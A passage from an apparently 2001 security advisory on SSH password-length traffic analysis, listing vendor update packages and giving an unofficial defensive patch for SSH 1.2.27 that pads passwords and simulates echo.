                   ftp://atualizacoes.conectiva.com.br/5.0/i386/openssh-askpass-gnome-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/5.0/i386/openssh-server-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/openssh-2.5.2p2-1cl.src.rpm
                   ftp://atualizacoes.conectiva.com.br/5.1/i386/openssh-clients-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/5.1/i386/openssh-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/5.1/i386/openssh-askpass-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/5.1/i386/openssh-askpass-gnome-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/5.1/i386/openssh-server-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/openssh-2.5.2p2-1cl.src.rpm
                   ftp://atualizacoes.conectiva.com.br/6.0/RPMS/openssh-clients-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/6.0/RPMS/openssh-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/6.0/RPMS/openssh-askpass-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/6.0/RPMS/openssh-askpass-gnome-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/6.0/RPMS/openssh-server-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/openssh-2.5.2p2-1cl.src.rpm
                   ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/openssh-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/openssh-askpass-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/openssh-askpass-gnome-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/openssh-clients-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/openssh-server-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/openssh-2.5.2p2-1cl.src.rpm
                   ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/openssh-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/openssh-askpass-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/openssh-askpass-gnome-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/openssh-clients-2.5.2p2-1cl.i386.rpm
                   ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/openssh-server-2.5.2p2-1cl.i386.rpm
          Trustix: http://www.trusix.net/pub/Trustix/updates/
    Progeny Linux: http://archive.progeny.com/pub/progeny/updates/newton/ssh_2.5.2p2-0progeny1_i386.deb

    PuTTY  0.52  will  include  defenses  against  inferring length or
    entropy of initial login passwords, for both SSH-1 and SSH-2.

    SSH  1.2.x  users  can  use  this  unofficial  patch (the patch is
    against version 1.2.27,  but applies to  1.2.31 as well).   Please
    note  that  a  SSH  server  with  this  patch  applied  will   not
    interoperate   with   client   versions   1.2.18   through  1.2.22
    (inclusive).

    --- ssh-1.2.27.orig/sshconnect.c	Wed May 12 15:19:29 1999
    +++ ssh-1.2.27/sshconnect.c	Tue Feb 20 08:38:57 2001
    @@ -1258,6 +1258,18 @@
         fatal("write: %.100s", strerror(errno));
     }

    +void ssh_put_password(char *password)
    +{
    +  int size;
    +  char *padded;
    +
    +  size = (strlen(password) + (1 + (32 - 1))) & ~(32 - 1);
    +  strncpy(padded = xmalloc(size), password, size);
    +  packet_put_string(padded, size);
    +  memset(padded, 0, size);
    +  xfree(padded);
    +}
    +
     /* Starts a dialog with the server, and authenticates the current user on the
        server.  This does not need any extra privileges.  The basic connection
        to the server must already have been established before this is called.
    @@ -1753,7 +1765,7 @@
             /* Asks for password */
             password = read_passphrase(pw->pw_uid, prompt, 0);
             packet_start(SSH_CMSG_AUTH_TIS_RESPONSE);
    -        packet_put_string(password, strlen(password));
    +        ssh_put_password(password);
             memset(password, 0, strlen(password));
             xfree(password);
             packet_send();
    @@ -1791,7 +1803,7 @@
             {
               password = read_passphrase(pw->pw_uid, prompt, 0);
               packet_start(SSH_CMSG_AUTH_PASSWORD);
    -          packet_put_string(password, strlen(password));
    +          ssh_put_password(password);
               memset(password, 0, strlen(password));
               xfree(password);
               packet_send();
    --- ssh-1.2.27.orig/serverloop.c	Wed May 12 15:19:28 1999
    +++ ssh-1.2.27/serverloop.c	Tue Feb 20 08:38:56 2001
    @@ -522,6 +522,9 @@
     void process_output(fd_set *writeset)
     {
       int len;
    +#ifdef USING_TERMIOS
    +  struct termios tio;
    +#endif

       /* Write buffered data to program stdin. */
       if (fdin != -1 && FD_ISSET(fdin, writeset))
    @@ -543,7 +546,18 @@
             }
           else
             {
    -          /* Successful write.  Consume the data from the buffer. */
    +          /* Successful write. */
    +#ifdef USING_TERMIOS
    +          if (tcgetattr(fdin, &tio) == 0 &&
    +              !(tio.c_lflag & ECHO) && (tio.c_lflag & ICANON)) {
    +            /* Simulate echo to reduce the impact of traffic analysis. */
    +            packet_start(SSH_MSG_IGNORE);
    +            memset(buffer_ptr(&stdin_buffer), 0, len);
    +            packet_put_string(buffer_ptr(&stdin_buffer), len);
    +            packet_send();
    +          }
    +#endif
    +          /* Consume the data from the buffer. */
               buffer_consume(&stdin_buffer, len);
               /* Update the count of bytes written to the program. */
               stdin_bytes += len;